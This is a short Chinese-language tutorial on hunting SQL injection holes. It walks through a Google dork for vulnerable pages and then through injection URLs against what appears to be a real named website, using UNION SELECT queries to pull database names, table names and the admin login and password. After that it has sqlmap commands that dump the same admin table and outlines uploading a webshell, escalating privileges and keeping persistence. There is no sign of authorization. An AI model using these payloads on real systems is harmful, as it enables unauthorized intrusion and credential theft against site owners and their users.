SQL注入挖洞教程
- 挂上代理。访问谷歌
A inurl:news-detail.php?id=
- 添加单引号。确认是否存在SQL注入漏洞
http://belbana.com/news-detail.php?id=3’
3构建URL查询数据库名字。
http://belbana.com/news-detail.php?id=3%20and%201=2 UNION SELECT 1,2,3,user(),5,6,7,8,database(),10,11,12
4 构建URL查询数据表名字
http://belbana.com/news-detail.php?id=3%20and%201=2 UNION SELECT 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12 from information_schema.tables where table_schema=0x49443134383939345f636d73
5 构建URL,查询字段名称。上图发现admin是管理员用户表
6 查询数据。
http://belbana.com/news-detail.php?id=3%20and%201=2 UNION SELECT 1,2,3,4,5,6,7,8,concat(login,0x2d,paswoord),10,11,12 from admin
- 在线解密
如果是加了密的密码。可以在这里解密。
到这里SQL注入已经完成了。
8 找后台登录地址,用找到的用户名和密码进行登录后台。登录后查找是否有代码编辑、或者在线编辑器、或者文件上传等、上传木马、中国菜刀连上去、提权、权限维持、书写渗透测试报告
附上sqlmap教程:
- 自己的电脑安装sqlmap。
安装地址是:https://github.com/sqlmapproject/sqlmap 这里有教程。建议用google浏览器打开。直接翻译看的明白
2.
命令:
sqlmap.py -u "http://belbana.com/news-detail.php?id=3"
sqlmap.py -u "http://belbana.com/news-detail.php?id=3"--current-dbs #查看当前数据库
sqlmap.py -u "http://belbana.com/news-detail.php?id=3" --dbs #查看所有的数据库
sqlmap.py -u "http://belbana.com/news-detail.php?id=3" -D’ID148994_cms ’--tables #查看表
sqlmap.py -u "http://belbana.com/news-detail.php?id=3" -D’ID148994_cms ’-T”admin” --columns #查看admin表的字段
sqlmap.py -u "http://belbana.com/news-detail.php?id=3" -D’ID148994_cms ’-T”admin”-C’login,paswoord’ --dump #打印管理员表的数据,自动解密
"http://belbana.com/news-detail.php?id=3"--is-dba #判断是否是数据库管理员